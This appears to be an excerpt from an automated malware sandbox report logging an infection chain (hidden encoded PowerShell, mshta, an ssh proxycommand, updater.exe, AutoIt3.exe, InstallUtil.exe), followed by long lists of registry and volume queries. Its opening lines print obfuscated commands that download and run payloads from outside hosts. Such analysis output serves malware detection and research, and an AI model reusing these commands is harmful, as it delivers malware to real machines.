Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -executionpolicy remotesigned -windowstyle hidden -encodedcommand jabhaeoadwa3ad0aigb1ahaazabhahqazqbyac4azqb4aguaiga7acqaawboahiamwa9ac0aagbvagkabgaoacganga1ac4alga5adaakqaracgaoqa3ac4algaxadiamgapahwargbvahiarqbhagmaaaatae8aygbqaguaywb0ahsawwbjaggayqbyaf0ajabfah0afabhaguadaatafiayqbuagqabwbtacaalqbdag8adqbuahqaiaa4ackakwaiac4aygbpag4aiga7acqaagbyaheanaa9aeoabwbpag4alqbqageadaboacaalqbqageadaboacaajablag4adga6afqarqbnafaaiaataemaaabpagwazabqageadaboacgalqbqag8aaqbuacgakaa0adgalgauaduanwb8aeyabwbyaeuayqbjaggalqbpagiaagblagmadab7afsaywboageacgbdacqaxwb9ackafabhaguadaatafiayqbuagqabwbtacaalqbdag8adqbuahqaiaa4ackakqa7ae4azqb3ac0asqb0aguabqagac0auabhahqaaaagacqaagbyaheanaagac0asqb0aguabqbuahkacablacaarabpahiazqbjahqabwbyahkaiaataeyabwbyagmazqb8ae8adqb0ac0atgb1agwabaa7acqacabiahqanga9aeoabwbpag4alqbqageadaboacaalqbqageadaboacaajabqafgacqa0acaalqbdaggaaqbsagqauabhahqaaaagacqayqbkahcanwa7acqacwbxagyamga9aeoabwbpag4alqbqageadaboacaalqbqageadaboacaajabqafgacqa0acaalqbdaggaaqbsagqauabhahqaaaagacqaawboahiamwa7acqadgbqagiaoqa9aciaaab0ahqacabzadoalwavagmabgbkaguazgaxac4azwbyaguazqbuac0acabhahqaaab3ageaeqbzac4acwboag8acaavageacabpac8adqb6ac8anwa1aduamga5adcamwa2aduamaavahualgbiagkabgaiadsajab4afeazaa1ad0aigboahqadabwahmaogavac8aywbuagqazqbmadealgbnahiazqblag4alqbwageadaboahcayqb5ahmalgbzaggabwbwac8ayqbwagkalwb1ahoalwa3aduanqayadkanwazadyanqawac8abgbuag4algbiagkabgaiadsasqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagacqadgbqagiaoqagac0atwb1ahqargbpagwazqagacqacabiahqangagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowbjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab4afeazaa1acaalqbpahuadabgagkabablacaajabzafcazgayacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7afmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabiahqangagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaakahmavwbmadiaowamacaakabbahmaywbyagkacab0agiababvagmaawbdadoaogbdahiazqbhahqazqaoacgakaanaguajwaraccaeabpaccakwanahqajwapacaalqbqag8aaqbuacaajwanackakqapaa==
Source: C:\Windows\System32\OpenSSH\sftp.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "c:\windows\system32\openssh\ssh.exe" "-oforwardx11 no" "-oforwardagent no" "-opermitlocalcommand no" "-oclearallforwardings yes" -o "proxycommand=powershell powershell -command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]vkke]]]].mp4]]' -replace ']')" "-oprotocol 2" -s -- . sftp	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function wrdz($uvhg){return -split ($uvhg -replace '..', '0x$& ')};$erhgk = wrdz('eca586fb867e54d080f88ab849bfb94f298e9d4d174f6b1f2f81610c3540c56191e34fb7b2df87630478e180daca97337cf338c5f0549579e18cc1a49a1339f9691fae2edaac0d6e2ab4913030d45e7f9c40731a7b0ed45f438d15d573ab5e4816a3d8ca82daa342d630edb6e24e85f4d05e0447a728444a18214cd35db1fd5c4c677bf1eb6dd62a0d4b42a5f996d056a8c58bf2b2adc007ca0004f35eedf7db06cc47c0e8175257375360952646ddce12f86a389a2fb4f08f04df71abbd10ca19394807e45ae262b4cf2bd880666be9808038992e086339ca69f730462bd5ba268bea9591b45c3fddc4b990452c3c5b083b1d8a99db9d344be7f259679f7994fbaa4e272654402905feb107236fde83fa247f6dff5ee2de2fbe984de8d33a5077ec31d65dae7aac344db18badd0e59c3dc0a20aa1776387e75ed82f6f21e81d436d435fe7641490c8bb3be615f9d76b1f8a1323001ec29cb1dc720a20647927291abfccff409b1f94a878b0cdb0aff68e11daf8b2ccb95d3b395c11fb1d2f79673936e5f6af545b019bfde71cdac1667709524f9244c6d8b3198f1f28c92f507af233b70fd15099184e521aa3d1f4eb4613be4cc9617fd5ee373cb05a7b164a2b6211387c494f7fc2f64fb4b0eec11b39ffcc4e09ee10e96070192d4e0e2ad737b857a3ba8766ef8b454e4cc9bae60331184407821c7f5a417debb95885cd929fac64b5913d45e20ba92710c789ea36bc01ed629baaeefb8f420e9d966e4669db7e1ee213c1001073b4fb67bb454ba80b0144d096e4fa221e9ab74fb2fda2cbba9c669eb50610b810047a6a75a1e41407350666c1b141836ea4fb3c9588111ce216eb2e451248c7008ea09561e08463428a981b69214151a19dd58483cb4a07da879953aa3fdbf8ec16a79acd16fbf54b34e405fce7d15727908982c71db4ec3160579745fcbc610756535558573f49618c7606881e9c8f026001d9c1c40fd2462cc1ec3dcf620d160f23d6f789f8caa4ee9835fd65aa1d0e0278809de0d85c1295e58c782aaff7016b75c2fbb65fe1f73e7b038c89baa57c32930d22ee8c71a06f4a2c738995833a10226ecdfb07ecd5f6da31617797e009fa791ab33d9189a3a8e44428efc9d7c6fac3474fd38038fe910bbb036cff902b287315f807faaa06aed95210dde82daeac0a523d871ae53c0ef75ef61b9a57f8f33a81abd5d297c8fa835397595e7202a8e9007ffc7ede814d001b798d89293879c641be0707a91665e5503fecf99138ac09675db1c070f4cf90193587a5ffc1cee76401544370eb81704ba787c0cd04c9585c45a98fe309b624e2a8df58992bfb2e28e05d3e083f40d7259170b815f21c934d9a6b716fb374544d200ac2f51f83ff6015bf31faf855acd6f94c4edcffe1b1b1e84cd0dce3476be438811875890c244af355f5a99d60d3fe596651a7fce949ef11b75a3e47270440d77d7293e40b99f248b7ea50ae844851b9fcecc2a42a543848822154e0bde72e753a37abbc37d5a523e44824fdecb7ea3da94ae0bc489afb57e7ff8b9d330e6b6cf749c38703f35fbb8c7524c1cc772cb6e97f52b9a303f765eea1cf88781cf03dbaf4e05c5e83d04900c62ae76c9060d2ef02c6358a9c35d3c5cadda4513fe8720161ee8d258c9d8738089620a44fdd02266b9393340d2a4d6df53670ce0eac8adf596cbd6821f99d9aa7d32c9c1c8cdd6a112cf9684123e95fa54979737993ca2ed54a8e4e7b526955f3b82d4d1180dcf858a68e630366bae559198412c920e3df514dc1275386d42b0cf7d7800f9a9c56df30ac55bb715221a65ac5f1b6c047475af5d327c3e5f8421dc5507c9898e1ca30bc70d6ed81c7fbe88dc6473a1b361f63e277c1b83d0ba47d9d3a44bb1ed147d9e3d1391b4e0c9728e31f4600c8f8cdc7ea1bb362f215217b57b713c7f2c9b60ffbb1abf	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -executionpolicy remotesigned -windowstyle hidden -encodedcommand jabhaeoadwa3ad0aigb1ahaazabhahqazqbyac4azqb4aguaiga7acqaawboahiamwa9ac0aagbvagkabgaoacganga1ac4alga5adaakqaracgaoqa3ac4algaxadiamgapahwargbvahiarqbhagmaaaatae8aygbqaguaywb0ahsawwbjaggayqbyaf0ajabfah0afabhaguadaatafiayqbuagqabwbtacaalqbdag8adqbuahqaiaa4ackakwaiac4aygbpag4aiga7acqaagbyaheanaa9aeoabwbpag4alqbqageadaboacaalqbqageadaboacaajablag4adga6afqarqbnafaaiaataemaaabpagwazabqageadaboacgalqbqag8aaqbuacgakaa0adgalgauaduanwb8aeyabwbyaeuayqbjaggalqbpagiaagblagmadab7afsaywboageacgbdacqaxwb9ackafabhaguadaatafiayqbuagqabwbtacaalqbdag8adqbuahqaiaa4ackakqa7ae4azqb3ac0asqb0aguabqagac0auabhahqaaaagacqaagbyaheanaagac0asqb0aguabqbuahkacablacaarabpahiazqbjahqabwbyahkaiaataeyabwbyagmazqb8ae8adqb0ac0atgb1agwabaa7acqacabiahqanga9aeoabwbpag4alqbqageadaboacaalqbqageadaboacaajabqafgacqa0acaalqbdaggaaqbsagqauabhahqaaaagacqayqbkahcanwa7acqacwbxagyamga9aeoabwbpag4alqbqageadaboacaalqbqageadaboacaajabqafgacqa0acaalqbdaggaaqbsagqauabhahqaaaagacqaawboahiamwa7acqadgbqagiaoqa9aciaaab0ahqacabzadoalwavagmabgbkaguazgaxac4azwbyaguazqbuac0acabhahqaaab3ageaeqbzac4acwboag8acaavageacabpac8adqb6ac8anwa1aduamga5adcamwa2aduamaavahualgbiagkabgaiadsajab4afeazaa1ad0aigboahqadabwahmaogavac8aywbuagqazqbmadealgbnahiazqblag4alqbwageadaboahcayqb5ahmalgbzaggabwbwac8ayqbwagkalwb1ahoalwa3aduanqayadkanwazadyanqawac8abgbuag4algbiagkabgaiadsasqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagacqadgbqagiaoqagac0atwb1ahqargbpagwazqagacqacabiahqangagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowbjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab4afeazaa1acaalqbpahuadabgagkabablacaajabzafcazgayacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7afmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagacqacabiahqangagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaakahmavwbmadiaowamacaakabbahmaywbyagkacab0agiababvagmaawbdadoaogbdahiazqbhahqazqaoacgakaanaguajwaraccaeabpaccakwanahqajwapacaalqbqag8aaqbuacaajwanackakqapaa==	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

19_2_00C088CD

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C14F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

19_2_00C14F1C

Source: updater.exe, 00000013.00000000.2401802830.0000000000C66000.00000002.00000001.01000000.00000010.sdmp, updater.exe, 00000013.00000003.2477037205.00000000049BB000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2476879837.00000000047F6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: updater.exe	Binary or memory string: Shell_TrayWnd
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managerteaq
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q/explorer.exe &&& Program Manager &&& [WIN]rt-]q

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BD885B cpuid

19_2_00BD885B

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	19_2_0125231D
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: GetLocaleInfoA,	19_2_012572A1
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: GetLocaleInfoA,	19_2_012572ED
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	19_2_01252427
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: GetLocaleInfoA,GetACP,	19_2_01258839
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: GetLocaleInfoA,	19_2_01252C41

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ehcfdbh\AutoIt3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ehcfdbh\AutoIt3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ehcfdbh\AutoIt3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ehcfdbh\AutoIt3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID
Source: C:\ehcfdbh\AutoIt3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID
Source: C:\ehcfdbh\AutoIt3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID
Source: C:\ehcfdbh\AutoIt3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID
Source: C:\ehcfdbh\AutoIt3.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BF0030 GetLocalTime,__swprintf,

19_2_00BF0030

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BF0722 GetUserNameW,

